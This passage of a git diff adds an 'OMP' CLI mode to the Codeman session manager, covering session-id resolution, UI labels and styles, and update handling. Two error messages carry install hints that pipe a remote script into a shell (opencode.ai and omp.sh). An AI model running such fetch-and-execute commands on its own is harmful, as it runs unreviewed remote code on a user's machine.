mode, already + * allowlisted in schemas.ts), and `PI_CONFIG_DIR` in particular can move this root. + * That is not honored here: a session with a redirected `PI_CONFIG_DIR` silently + * degrades pinning/history to omp's own ambiguous `--continue` instead of erroring, + * a known gap (found in Ark0N/Codeman#353 review) shared with pi and not fixed here. + */ +function resolveOmpHome(): string { + return join(homedir(), '.omp'); +} + +/** + * Newest OMP session id for this working directory, or null when the + * directory doesn't exist yet (never launched) or holds no session files. + * + * Deliberately "newest file, full stop" rather than a time-windowed match: + * callers only invoke this at a moment where that's unambiguous by + * construction — right after the file that answers it was the only thing + * that could have just been written (a dead pane's process already exited, + * or a session being resumed has no live sibling in the same directory yet). + */ +export function findLatestOmpSessionId(workingDir: string): string | null { + const dir = join(resolveOmpHome(), 'agent', 'sessions', mangleOmpWorkingDir(workingDir)); + let entries: string[]; + try { + entries = readdirSync(dir); + } catch { + return null; + } + + let newestMtime = -Infinity; + let newestId: string | null = null; + for (const entry of entries) { + const match = OMP_SESSION_FILE_PATTERN.exec(entry); + if (!match) continue; + let mtimeMs: number; + try { + mtimeMs = statSync(join(dir, entry)).mtimeMs; + } catch { + continue; + } + if (mtimeMs > newestMtime) { + newestMtime = mtimeMs; + newestId = match[1]; + } + } + return newestId; +} + +/** + * The session header line is always near the top of the file (the + * transcript's own "second line" — see omp-transcript.ts), so identifying a + * file never needs reading the whole thing (up to multi-MB, per that same + * module's size cap). Bounded read only. + */ +const HEADER_READ_BYTES = 8 * 1024; + +function readOmpSessionHeader(filePath: string): { id: string; cwd: string } | null { + let raw: string; + try { + const fd = openSync(filePath, 'r'); + try { + const buf = Buffer.alloc(HEADER_READ_BYTES); + const bytesRead = readSync(fd, buf, 0, HEADER_READ_BYTES, 0); + raw = buf.toString('utf-8', 0, bytesRead); + } finally { + closeSync(fd); + } + } catch { + return null; + } + for (const line of raw.split('\n')) { + if (!line) continue; + let entry: unknown; + try { + entry = JSON.parse(line); + } catch { + continue; + } + if (!entry || typeof entry !== 'object') continue; + const e = entry as Record; + if (e.type === 'session' && typeof e.id === 'string' && typeof e.cwd === 'string') { + return { id: e.id, cwd: e.cwd }; + } + } + return null; +} + +/** + * Process-wide registry of OMP session ids already pinned to a live Codeman + * session. Two omp tabs in the same case dir (`w1-foo`, `w2-foo`) resolve + * against the SAME directory on disk — without this, both could pick the + * newest file and alias onto each other's conversation (found in upstream PR + * review, Ark0N/Codeman#353). Never released: this holds at most a handful of + * short ids per real omp conversation ever pinned in this process's lifetime, + * immaterial memory even after weeks of uptime — correctness here matters + * more than reclaiming it. + */ +const claimedOmpSessionIds = new Set(); + +/** + * Safe variant of {@link findLatestOmpSessionId} for callers where two omp + * sessions CAN share the same case directory — a dead-pane respawn, a + * boot-recovery reattach, or a first-idle capture — instead of the narrower + * cases where "newest file" is unambiguous by construction. Verifies each + * candidate's own header `cwd` against `workingDir` (mangling is a lossy + * one-way transform — see {@link mangleOmpWorkingDir} — so trusting the + * filename-derived id alone isn't enough) and skips any id a sibling session + * has already claimed. Claims the id it returns so a concurrent caller + * resolving the same directory in the same tick can't double-claim it. + */ +export function resolveAndClaimOmpSessionId(workingDir: string): string | null { + const dir = join(resolveOmpHome(), 'agent', 'sessions', mangleOmpWorkingDir(workingDir)); + let entries: string[]; + try { + entries = readdirSync(dir); + } catch { + return null; + } + + let newestMtime = -Infinity; + let newestId: string | null = null; + for (const entry of entries) { + if (!OMP_SESSION_FILE_PATTERN.test(entry)) continue; + const filePath = join(dir, entry); + let mtimeMs: number; + try { + mtimeMs = statSync(filePath).mtimeMs; + } catch { + continue; + } + if (mtimeMs <= newestMtime) continue; + const header = readOmpSessionHeader(filePath); + if (!header || header.cwd !== workingDir || claimedOmpSessionIds.has(header.id)) continue; + newestMtime = mtimeMs; + newestId = header.id; + } + if (newestId) claimedOmpSessionIds.add(newestId); + return newestId; +} diff --git a/src/utils/opencode-cli-resolver.ts b/src/utils/opencode-cli-resolver.ts index 3225dd6d..f1d71012 100644 --- a/src/utils/opencode-cli-resolver.ts +++ b/src/utils/opencode-cli-resolver.ts @@ -7,20 +7,17 @@ * @module utils/opencode-cli-resolver */ -import { join } from 'node:path'; -import { homedir } from 'node:os'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage } from './cli-executable-resolver.js'; /** Common directories where the OpenCode CLI binary may be installed */ -const OPENCODE_SEARCH_DIRS = [ - join(homedir(), '.opencode', 'bin'), // Default install location - join(homedir(), '.local', 'bin'), // Alternative install location - '/usr/local/bin', // Homebrew / system - join(homedir(), 'go', 'bin'), // Go install - join(homedir(), '.bun', 'bin'), // Bun global - join(homedir(), '.npm-global', 'bin'), // npm global - join(homedir(), 'bin'), // User bin -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const OPENCODE_SEARCH_DIRS = (): string[] => (getCli('opencode')?.discovery.searchDirs ?? []).map(expandHome); const openCodeResolver = createCliExecutableResolver({ binary: 'opencode', searchDirs: OPENCODE_SEARCH_DIRS }); const OPENCODE_NOT_FOUND = 'OpenCode CLI not found. Install with: curl -fsSL https://opencode.ai/install | bash'; diff --git a/src/utils/pi-cli-resolver.ts b/src/utils/pi-cli-resolver.ts index 4cfa4011..b6ad3a35 100644 --- a/src/utils/pi-cli-resolver.ts +++ b/src/utils/pi-cli-resolver.ts @@ -16,9 +16,9 @@ */ import { execFileSync } from 'node:child_process'; -import { join } from 'node:path'; -import { homedir } from 'node:os'; import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage, @@ -26,13 +26,12 @@ import { } from './cli-executable-resolver.js'; /** Common directories where the Pi CLI binary may be installed */ -const PI_SEARCH_DIRS = [ - join(homedir(), '.local', 'bin'), - '/usr/local/bin', - join(homedir(), '.bun', 'bin'), - join(homedir(), '.npm-global', 'bin'), - join(homedir(), 'bin'), -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const PI_SEARCH_DIRS = (): string[] => (getCli('pi')?.discovery.searchDirs ?? []).map(expandHome); /** * A real `pi --version` prints a semver-shaped string (e.g. `0.84.1`). diff --git a/src/web/public/app.js b/src/web/public/app.js index 72898890..c80d526c 100644 --- a/src/web/public/app.js +++ b/src/web/public/app.js @@ -2270,9 +2270,11 @@ class CodemanApp { ? 'Grok' : mode === 'deepseek' ? 'DeepSeek' - : mode === 'opencode' - ? 'OpenCode' - : 'Claude'; + : mode === 'omp' + ? 'OMP' + : mode === 'opencode' + ? 'OpenCode' + : 'Claude'; } async toggleResponseViewer() { @@ -2632,29 +2634,52 @@ class CodemanApp { // string field (e.g. modelDisplayName, which the route also broadcasts) is // ever shown in this chip, render it via textContent — never interpolate an // untrusted string into this template. - const seg = (label, p) => { - if (p === null) return ''; + // `idle: true` keeps a missing window's SLOT with a dimmed em dash instead of + // dropping it. Claude only: Claude Code documents `five_hour` as "present + // only while the API reports it and its resets_at has not passed", so that + // key leaves the statusline payload whenever no 5-hour session window is + // open, and a chip that silently shrank from two windows to one read as a + // broken feature rather than as an idle window (reported 2026-09-01). A + // missing CODEX bucket means the opposite — that plan has no such limit — + // so those stay omitted rather than showing a dash forever. + const seg = (label, p, idle) => { + if (p === null) { + if (!idle) return ''; + return `${label}—`; + } const n = Math.round(Number(p)); if (!Number.isFinite(n)) return ''; return `${label}${n}%`; }; - const row = (provider, usage) => { - const windows = [seg('5h', pct(usage?.fiveHour)), seg('7d', pct(usage?.sevenDay))].filter(Boolean); + // The provider label only earns its space when there is more than one + // provider to tell apart: a machine with Claude alone shows bare windows. + const hasWindows = (usage) => pct(usage?.fiveHour) !== null || pct(usage?.sevenDay) !== null; + const labelled = hasWindows(data) && hasWindows(data.codex); + const row = (provider, usage, idle) => { + // hasWindows() gates the row, so a placeholder can only ever appear + // ALONGSIDE a real reading — a provider reporting nothing still renders + // nothing, never a row of em dashes. + if (!hasWindows(usage)) return ''; + const windows = [seg('5h', pct(usage?.fiveHour), idle), seg('7d', pct(usage?.sevenDay), idle)].filter(Boolean); if (!windows.length) return ''; - return `${provider}${windows.join('·')}`; + const label = labelled ? `${provider}` : ''; + return `${label}${windows.join('·')}`; }; - const rows = [row('Claude', data), row('Codex', data.codex)].filter(Boolean); + const rows = [row('Claude', data, true), row('Codex', data.codex, false)].filter(Boolean); chip.innerHTML = rows.length ? rows.join('') : '—'; const resetStr = (w) => (w && w.resetAt ? new Date(w.resetAt).toLocaleString() : '—'); - const details = (provider, usage) => { + const details = (provider, usage, idle) => { const lines = []; const five = pct(usage?.fiveHour); const seven = pct(usage?.sevenDay); if (five !== null) lines.push(`5-hour limit: ${five}% used (resets ${resetStr(usage.fiveHour)})`); + else if (idle && seven !== null) lines.push('5-hour limit: no active session window'); if (seven !== null) lines.push(`Weekly limit: ${seven}% used (resets ${resetStr(usage.sevenDay)})`); return lines.length ? `${provider} plan usage\n${lines.join('\n')}` : ''; }; - chip.title = [details('Claude', data), details('Codex', data.codex)].filter(Boolean).join('\n\n') || 'Plan usage limits'; + chip.title = + [details('Claude', data, true), details('Codex', data.codex, false)].filter(Boolean).join('\n\n') || + 'Plan usage limits'; } // Scheduled runs @@ -4896,7 +4921,7 @@ class CodemanApp { - ${mode === 'shell' ? '' : mode === 'opencode' ? '' : mode === 'codex' ? '' : mode === 'gemini' ? '' : mode === 'antigravity' ? '' : mode === 'pi' ? '' : mode === 'grok' ? '' : mode === 'deepseek' ? '' : ''} + ${mode === 'shell' ? '' : mode === 'opencode' ? '' : mode === 'codex' ? '' : mode === 'gemini' ? '' : mode === 'antigravity' ? '' : mode === 'pi' ? '' : mode === 'grok' ? '' : mode === 'deepseek' ? '' : mode === 'omp' ? '' : ''} ${tabLabel} ${inlineSessionActions ? tabActionsHtml : ''} @@ -6344,7 +6369,9 @@ class CodemanApp { ? 'Kill Tmux & Grok' : session.mode === 'deepseek' ? 'Kill Tmux & DeepSeek' - : 'Kill Tmux & Claude Code'; + : session.mode === 'omp' + ? 'Kill Tmux & OMP' + : 'Kill Tmux & Claude Code'; } document.getElementById('closeConfirmModal').classList.add('active'); diff --git a/src/web/public/constants.js b/src/web/public/constants.js index 1531b1f6..80308150 100644 --- a/src/web/public/constants.js +++ b/src/web/public/constants.js @@ -10,7 +10,7 @@ * @globals {function} scheduleBackground - scheduler.postTask wrapper (background priority) * @globals {function} getEventCoords - Unified mouse/touch coordinate extractor * @globals {function} escapeHtml - XSS-safe HTML escaping - * @globals {object} SSE_EVENTS - Centralized SSE event type constants (156 event types; must match backend src/web/sse-events.ts) + * @globals {object} SSE_EVENTS - Centralized SSE event type constants (157 event types; must match backend src/web/sse-events.ts) * @globals {Array} BUILTIN_RESPAWN_PRESETS - Built-in respawn configuration presets * * @dependency None (first in load order) diff --git a/src/web/public/home-sessions.js b/src/web/public/home-sessions.js index 5a102eaa..453eec10 100644 --- a/src/web/public/home-sessions.js +++ b/src/web/public/home-sessions.js @@ -80,6 +80,7 @@ const HOME_SESSIONS_MODE_BADGE = { pi: 'pi', grok: 'gk', deepseek: 'ds', + omp: 'om', }; Object.assign(CodemanApp.prototype, { diff --git a/src/web/public/index.html b/src/web/public/index.html index 6df870b3..2f35728a 100644 --- a/src/web/public/index.html +++ b/src/web/public/index.html @@ -452,6 +452,10 @@ Run DeepSeek +
@@ -643,6 +647,9 @@ +
@@ -2020,6 +2028,8 @@
@@ -2072,6 +2082,7 @@ @@ -2096,6 +2108,7 @@ + @@ -2106,6 +2119,7 @@ + @@ -2116,6 +2130,7 @@ + @@ -2710,6 +2725,7 @@ + Which CLI to point the Run button at once the clone finishes. Changeable any time from the Run dropdown. diff --git a/src/web/public/mobile-overview.js b/src/web/public/mobile-overview.js index c9c32bb4..df647ae9 100644 --- a/src/web/public/mobile-overview.js +++ b/src/web/public/mobile-overview.js @@ -56,6 +56,7 @@ const MOBILE_OVERVIEW_RUN_MODES = [ { mode: 'pi', label: 'Pi', short: 'Pi' }, { mode: 'grok', label: 'Grok', short: 'Grok' }, { mode: 'deepseek', label: 'DeepSeek', short: 'DeepSeek' }, + { mode: 'omp', label: 'OMP', short: 'OMP' }, { mode: 'shell', label: 'Terminal / Shell', short: 'Shell' }, ]; @@ -388,7 +389,7 @@ Object.assign(CodemanApp.prototype, { async resumeMobileOverviewSession(sessionId) { const row = (this._mobileOverviewPastRows || []).find((r) => r.id === sessionId); if (!row || !row.workingDir) return; - await this.resumeHistorySession(row.claudeSessionId || row.id, row.workingDir, row.name || undefined); + await this.resumeHistorySession(row.claudeSessionId || row.id, row.workingDir, row.name || undefined, row.mode); }, // ═══════════════════════════════════════════════════════════════ diff --git a/src/web/public/mobile.css b/src/web/public/mobile.css index e0ddb53d..c9b0838d 100644 --- a/src/web/public/mobile.css +++ b/src/web/public/mobile.css @@ -1003,6 +1003,20 @@ html.mobile-init .file-browser-panel { border-color: rgba(150, 170, 255, 0.55) !important; } + /* OMP mode colors on mobile. Same `!important` rationale as the pi/grok/deepseek blocks above. */ + .btn-toolbar.btn-run.mode-omp, + .btn-toolbar.btn-run-gear.mode-omp { + background: #312e81 !important; + border-color: rgba(129, 140, 248, 0.3) !important; + color: #e0e7ff !important; + } + + .btn-toolbar.btn-run.mode-omp:active, + .btn-toolbar.btn-run-gear.mode-omp:active { + background: #4f46e5 !important; + border-color: rgba(129, 140, 248, 0.5) !important; + } + /* Run mode dropdown menu — positioned above toolbar on mobile */ .run-mode-menu { bottom: 100%; @@ -3086,6 +3100,12 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat color: #ffffff; } +html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="catppuccin-latte"], [data-skin="rose-pine-dawn"]) :is(.btn-toolbar.btn-run.mode-omp, .btn-toolbar.btn-run-gear.mode-omp) { + background: linear-gradient(135deg, #4f46e5, #6366f1); + border-color: #4338ca; + color: #ffffff; +} + html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="catppuccin-latte"], [data-skin="rose-pine-dawn"]) :is(.btn-toolbar.btn-run.mode-grok, .btn-toolbar.btn-run-gear.mode-grok) { background: linear-gradient(135deg, #27272a, #52525b); border-color: #18181b; diff --git a/src/web/public/panels-ui.js b/src/web/public/panels-ui.js index d9d96f29..66197c27 100644 --- a/src/web/public/panels-ui.js +++ b/src/web/public/panels-ui.js @@ -432,7 +432,7 @@ Object.assign(CodemanApp.prototype, { _buildCommandPaletteNewSessionItem(query = '') { const mode = this.runMode || this._runMode || 'claude'; - const labels = { claude: 'Claude', opencode: 'OpenCode', codex: 'Codex', gemini: 'Gemini', antigravity: 'Antigravity', pi: 'Pi', grok: 'Grok', deepseek: 'DeepSeek' }; + const labels = { claude: 'Claude', opencode: 'OpenCode', codex: 'Codex', gemini: 'Gemini', antigravity: 'Antigravity', pi: 'Pi', grok: 'Grok', deepseek: 'DeepSeek', omp: 'OMP' }; const caseName = this._findCommandPaletteCaseMatch(query) || document.getElementById('quickStartCase')?.value || 'testcase'; return { id: 'new-session', @@ -670,7 +670,7 @@ Object.assign(CodemanApp.prototype, { } else if (record.workingDir) { // History rows are keyed by the Claude conversation UUID; resumed // sessions carry theirs separately as claudeSessionId. - void this.resumeHistorySession(s.claudeSessionId || s.sessionId, record.workingDir); + void this.resumeHistorySession(s.claudeSessionId || s.sessionId, record.workingDir, undefined, s.mode); } }, }); diff --git a/src/web/public/session-ui.js b/src/web/public/session-ui.js index 11fd15a0..3011c015 100644 --- a/src/web/public/session-ui.js +++ b/src/web/public/session-ui.js @@ -407,6 +407,9 @@ Object.assign(CodemanApp.prototype, { if (mode === 'antigravity') { return await this.runAntigravity(); } + if (mode === 'omp') { + return await this.runOmp(); + } if (mode === 'pi') { return await this.runPi(); } @@ -501,7 +504,7 @@ Object.assign(CodemanApp.prototype, { // An unreachable container hides every agent mode and explains why, instead // of silently offering modes that cannot start. const probeError = isDocker ? this._dockerCaseProbeError?.[caseName] : null; - for (const mode of ['claude', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'deepseek']) { + for (const mode of ['claude', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'deepseek', 'omp']) { const btn = menu.querySelector(`.run-mode-option[data-mode="${mode}"]`); if (!btn) continue; let available; @@ -789,7 +792,7 @@ Object.assign(CodemanApp.prototype, { btn.append(...parts); btn.addEventListener('click', (e) => { e.stopPropagation(); - this.resumeHistorySession(s.sessionId, s.workingDir, s.name); + this.resumeHistorySession(s.sessionId, s.workingDir, s.name, s.mode); }); container.appendChild(btn); } @@ -810,7 +813,7 @@ Object.assign(CodemanApp.prototype, { gearBtn.className = `btn-toolbar btn-run-gear mode-${mode}`; } if (label) { - label.textContent = mode === 'opencode' ? 'Run OC' : mode === 'codex' ? 'Run CX' : mode === 'gemini' ? 'Run GM' : mode === 'antigravity' ? 'Run AG' : mode === 'pi' ? 'Run PI' : mode === 'grok' ? 'Run GK' : mode === 'deepseek' ? 'Run DS' : mode === 'shell' ? 'Run SH' : 'Run'; + label.textContent = mode === 'opencode' ? 'Run OC' : mode === 'codex' ? 'Run CX' : mode === 'gemini' ? 'Run GM' : mode === 'antigravity' ? 'Run AG' : mode === 'pi' ? 'Run PI' : mode === 'grok' ? 'Run GK' : mode === 'deepseek' ? 'Run DS' : mode === 'omp' ? 'Run OMP' : mode === 'shell' ? 'Run SH' : 'Run'; } }, @@ -1523,6 +1526,56 @@ Object.assign(CodemanApp.prototype, { } }, + async runOmp() { + const caseName = document.getElementById('quickStartCase').value || 'testcase'; + // Remote/docker cases run omp on the OTHER side — skip the local status probe + // and the local-only config below (quick-start rejects them for remote cases). + const _runLoc = (this.cases || []).find(c => c.name === caseName)?.location; + const isRemote = _runLoc === 'remote' || _runLoc === 'docker'; + + const ownsLaunchTerminal = this._beginSessionLaunchStatus(`Starting OMP session in ${caseName}...`); + this.terminal.focus(); + + try { + if (!isRemote) { + const statusRes = await fetch('/api/omp/status'); + const status = (await statusRes.json()).data; + if (!status.available) { + this._reportSessionLaunchError( + ownsLaunchTerminal, + 'OMP CLI not found. Install with: curl -fsSL https://omp.sh/install | sh' + ); + return; + } + } + + const envOverrides = this.buildEnvOverrides(this.getCaseSettings(caseName), this.loadAppSettingsFromStorage()); + const res = await fetch('/api/quick-start', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + caseName, + mode: 'omp', + sessionName: `w${this._nextCaseSessionStartNumber(caseName)}-${caseName}`, + ...(isRemote ? {} : { + ...(Object.keys(envOverrides).length > 0 ? { envOverrides } : {}), + }), + }) + }); + const data = await res.json(); + if (!data.success) throw new Error(data.error || 'Failed to start OMP'); + await this._ensureCreatedSessionVisible(data.data.sessionId, data.data.session); + + if (data.data.sessionId) { + await this.selectSession(data.data.sessionId); + } + + this.terminal.focus(); + } catch (err) { + this._reportSessionLaunchError(ownsLaunchTerminal, err.message); + } + }, + /** * Launch a Grok Build (xAI `grok`) session. * @@ -1726,7 +1779,7 @@ Object.assign(CodemanApp.prototype, { if (detachToggle) detachToggle.checked = this.hasTabDetachOverride(sessionId); // Reset to an appropriate tab — Summary for external CLIs (Respawn/Ralph are Claude-only) - const isAltMode = session.mode === 'opencode' || session.mode === 'codex' || session.mode === 'gemini' || session.mode === 'antigravity' || session.mode === 'pi' || session.mode === 'grok' || session.mode === 'deepseek'; + const isAltMode = session.mode === 'opencode' || session.mode === 'codex' || session.mode === 'gemini' || session.mode === 'antigravity' || session.mode === 'pi' || session.mode === 'grok' || session.mode === 'deepseek' || session.mode === 'omp'; this.switchOptionsTab(isAltMode ? 'summary' : 'respawn'); // Update respawn status display and buttons @@ -1756,7 +1809,7 @@ Object.assign(CodemanApp.prototype, { } // Hide Claude-specific options for external CLI sessions - const isExternalCli = session.mode === 'opencode' || session.mode === 'codex' || session.mode === 'gemini' || session.mode === 'antigravity' || session.mode === 'pi' || session.mode === 'grok' || session.mode === 'deepseek'; + const isExternalCli = session.mode === 'opencode' || session.mode === 'codex' || session.mode === 'gemini' || session.mode === 'antigravity' || session.mode === 'pi' || session.mode === 'grok' || session.mode === 'deepseek' || session.mode === 'omp'; const claudeOnlyEls = document.querySelectorAll('[data-claude-only]'); claudeOnlyEls.forEach(el => { el.style.display = isExternalCli ? 'none' : ''; }); @@ -3733,7 +3786,7 @@ Object.defineProperty(CodemanApp.prototype, 'runMode', { }, set(mode) { this._runMode = - mode === 'opencode' || mode === 'codex' || mode === 'gemini' || mode === 'antigravity' || mode === 'pi' || mode === 'grok' || mode === 'deepseek' || mode === 'claude' + mode === 'opencode' || mode === 'codex' || mode === 'gemini' || mode === 'antigravity' || mode === 'pi' || mode === 'grok' || mode === 'deepseek' || mode === 'omp' || mode === 'claude' ? mode : 'claude'; }, diff --git a/src/web/public/settings-ui.js b/src/web/public/settings-ui.js index 26de7879..a346b479 100644 --- a/src/web/public/settings-ui.js +++ b/src/web/public/settings-ui.js @@ -922,7 +922,7 @@ Object.assign(CodemanApp.prototype, { desc.textContent = inert ? 'The selected model has no 1M variant.' : base - ? 'Available for Fable 5, Opus and Opus 4.6.' + ? 'Available for Fable 5.1, Fable 5, Opus and Opus 4.6.' : 'With no model pinned, this starts new sessions on Opus with a 1M window.'; } }, @@ -1079,10 +1079,14 @@ Object.assign(CodemanApp.prototype, { const verEl = this.$('updateCurrentVersion'); if (verEl && data.currentVersion) verEl.textContent = `v${data.currentVersion}`; - if (data.installKind && data.installKind !== 'git') { - this._setUpdateResult( - `This install can't update itself (${escapeHtml(data.installKind)}). Update with npm i -g aicodeman@latest.` - ); + // `docker-compose` self-updates in place like `git` does — the container + // restarts itself. Anything else cannot. + if (data.installKind && data.installKind !== 'git' && data.installKind !== 'docker-compose') { + const hint = + data.supervisor === 'docker-compose' + ? 'Update from the Docker host with docker/Start-Codeman.sh.' + : 'Update with npm i -g aicodeman@latest.'; + this._setUpdateResult(`This install can't update itself (${escapeHtml(data.installKind)}). ${hint}`); return; } if (data.selfUpdateEnabled === false) { @@ -1093,6 +1097,30 @@ Object.assign(CodemanApp.prototype, { this._setUpdateResult(escapeHtml(data.error)); return; } + // A container release that changes the ENVIRONMENT (Dockerfile, compose file + // or new .env keys) cannot be applied by the container restarting itself, so + // the update button is never offered — the host command is, instead. The + // server re-checks this on POST, so hiding the button is UX, not the gate. + const blockers = data.environment?.blockers || []; + if (data.updateAvailable && blockers.length > 0) { + const reasons = blockers + .map((b) => { + const details = b.details?.length ? `
${escapeHtml(b.details.join(' '))}` : ''; + return `
  • ${escapeHtml(b.message)}${details}
  • `; + }) + .join(''); + this._setUpdateResult( + `v${escapeHtml(data.latestVersion || '')} needs a rebuild on the Docker host` + + ` (current v${escapeHtml(data.currentVersion || '')}):
      ${reasons}
    ` + + `Run ${escapeHtml(data.environment?.hostCommand || 'docker/Start-Codeman.sh')} there to apply it.` + ); + if (notes && data.notes) { + notes.style.display = 'block'; + notes.textContent = data.notes; + } + return; + } + if (data.updateAvailable && data.latestVersion) { this._setUpdateResult( `Update available: v${escapeHtml(data.latestVersion)}  (current v${escapeHtml(data.currentVersion || '')})` @@ -1230,6 +1258,7 @@ Object.assign(CodemanApp.prototype, { ['welcomeClaudeBtn', 'claude'], ['welcomeOpencodeBtn', 'opencode'], ['welcomeAntigravityBtn', 'antigravity'], + ['welcomeOmpBtn', 'omp'], ['welcomeGeminiBtn', 'gemini'], ['welcomePiBtn', 'pi'], ['welcomeGrokBtn', 'grok'], diff --git a/src/web/public/styles.css b/src/web/public/styles.css index 50912082..dd3fb90a 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -349,7 +349,8 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat .session-tab .tab-mode.gemini, .session-tab .tab-mode.antigravity, .session-tab .tab-mode.pi, - .session-tab .tab-mode.grok + .session-tab .tab-mode.grok, + .session-tab .tab-mode.omp ) { color: var(--accent-d); } @@ -2499,6 +2500,10 @@ body.solo-mode .btn-lifecycle-log { background: rgba(34, 211, 238, 0.2); color: #22d3ee; } +.session-tab .tab-mode.omp { + background: rgba(129, 140, 248, 0.2); + color: #818cf8; +} .session-tab .tab-mode.pi { background: rgba(244, 114, 182, 0.2); @@ -3883,6 +3888,22 @@ body.touch-device .terminal-container .xterm .xterm-helper-textarea { color: #fff1f7; transform: translateY(-1px); } +/* OMP: indigo identity, matching .btn-toolbar.btn-run.mode-omp and + .run-mode-dot.omp so the welcome action reads as the same backend. */ +.welcome-btn-omp { + background: linear-gradient(135deg, #1e1b4b 0%, #4f46e5 55%, #6366f1 100%); + border-color: rgba(129, 140, 248, 0.4); + color: #e0e7ff; + box-shadow: 0 2px 8px rgba(129, 140, 248, 0.16), inset 0 1px 0 rgba(255, 255, 255, 0.06); +} + +.welcome-btn-omp:hover { + background: linear-gradient(135deg, #312e81 0%, #6366f1 55%, #818cf8 100%); + box-shadow: 0 4px 20px rgba(129, 140, 248, 0.3), 0 0 40px rgba(79, 70, 229, 0.12), inset 0 1px 0 rgba(255, 255, 255, 0.08); + border-color: rgba(165, 180, 252, 0.5); + color: #eef2ff; + transform: translateY(-1px); +} /* Grok (xAI): monochrome charcoal identity, matching .btn-toolbar.btn-run.mode-grok and .run-mode-dot.grok so the welcome action reads as the same backend. */ @@ -4992,6 +5013,21 @@ body.touch-device .terminal-container .xterm .xterm-helper-textarea { border-color: rgba(249, 168, 212, 0.6); color: #fff1f7; } +/* OMP mode colors */ +.btn-toolbar.btn-run.mode-omp, +.btn-toolbar.btn-run-gear.mode-omp { + background: linear-gradient(135deg, #312e81 0%, #4f46e5 55%, #6366f1 100%); + border-color: rgba(129, 140, 248, 0.5); + color: #e0e7ff; + box-shadow: 0 1px 2px rgba(0, 0, 0, 0.2), inset 0 1px 0 rgba(255, 255, 255, 0.06); +} +.btn-toolbar.btn-run.mode-omp:hover, +.btn-toolbar.btn-run-gear.mode-omp:hover { + background: linear-gradient(135deg, #3730a3 0%, #6366f1 55%, #818cf8 100%); + box-shadow: 0 0 12px rgba(129, 140, 248, 0.35), 0 2px 8px rgba(79, 70, 229, 0.2), inset 0 1px 0 rgba(255, 255, 255, 0.08); + border-color: rgba(165, 180, 252, 0.6); + color: #eef2ff; +} /* Grok mode colors. Same cascade note as pi above: this base-sheet pair only renders on the `og` skin — the nested `html:not([data-skin="og"])` block @@ -5116,6 +5152,7 @@ body.touch-device .terminal-container .xterm .xterm-helper-textarea { .run-mode-dot.pi { background: #f472b6; } .run-mode-dot.grok { background: #a1a1aa; } .run-mode-dot.deepseek { background: #4d6bfe; } +.run-mode-dot.omp { background: #818cf8; } .run-mode-dot.shell { background: #94a3b8; } /* Phone-only Enter button (see index.html). Hidden by default at every width; @@ -12433,6 +12470,13 @@ kbd { color: var(--text-dim); opacity: 0.45; } +/* A window Claude is not currently reporting: the slot stays, dimmed, so the + chip keeps its shape instead of looking like half of it broke. */ +.header-plan-usage .pu-win-idle .pu-label, +.header-plan-usage .pu-win-idle .pu-val { + color: var(--text-dim); + opacity: 0.55; +} /* Green/yellow/red by how much of the window is used up. */ .header-plan-usage .pu-green { color: #3fb950; diff --git a/src/web/public/terminal-ui.js b/src/web/public/terminal-ui.js index 84451307..bb83cc5a 100644 --- a/src/web/public/terminal-ui.js +++ b/src/web/public/terminal-ui.js @@ -2193,7 +2193,7 @@ Object.assign(CodemanApp.prototype, { if (isLive && this.sessions.has(s.sessionId)) { this.selectSession(s.sessionId); } else { - this.resumeHistorySession(s.claudeSessionId || s.sessionId, s.workingDir || '', s.name); + this.resumeHistorySession(s.claudeSessionId || s.sessionId, s.workingDir || '', s.name, s.mode); } }) ); @@ -2436,7 +2436,7 @@ Object.assign(CodemanApp.prototype, { } else { // Resume by the Claude conversation UUID when present (resumed sessions // carry theirs separately from their Codeman id). - this.resumeHistorySession(s.claudeSessionId || s.sessionId, s.workingDir || '', s.name); + this.resumeHistorySession(s.claudeSessionId || s.sessionId, s.workingDir || '', s.name, s.mode); } this.closeSessionManager?.(); closeMenu(); @@ -2904,7 +2904,7 @@ Object.assign(CodemanApp.prototype, { return `w${startNumber}-${dirName}`; }, - async resumeHistorySession(sessionId, workingDir, existingName) { + async resumeHistorySession(sessionId, workingDir, existingName, mode) { // Close the run mode menu if open document.getElementById('runModeMenu')?.classList.remove('active'); // Close folder history modal if open @@ -2925,13 +2925,45 @@ Object.assign(CodemanApp.prototype, { const globalSettings = this.loadAppSettingsFromStorage(); const envOverrides = this.buildEnvOverrides(this.getCaseSettings(caseName), globalSettings); const effort = this.getEffortSetting(globalSettings); + // `resumeSessionId` is a Claude conversation UUID (server reads it from + // ~/.claude/projects); an external-CLI row has no such thing, so sending + // it there gets silently ignored while the OMITTED `mode` field defaults + // the create to plain claude — reproducing whatever conversation THAT + // uuid happens to collide with instead of the row's own backend. Row mode + // wins here. Codeman has no cross-restart PTY-reattach outside server + // boot, so "resume" for a non-claude row means relaunching the CLI's own + // continue-most-recent flag (opencode/pi/grok/omp --continue, deepseek + // resumeSession) in the same directory — real conversation continuity, + // just not the literal old process. + const effectiveMode = mode || 'claude'; + const modeConfigKey = { + opencode: 'openCodeConfig', + pi: 'piConfig', + grok: 'grokConfig', + omp: 'ompConfig', + }[effectiveMode]; + // codex/gemini/antigravity have no wired continuation here yet (their + // configs use an exact conversation id, not a "continue most recent" + // flag, and the row's own `sessionId` is not verified to carry that + // id for these three modes) — `continuesSomething` below is what keeps + // their row from being retired for a resume that didn't 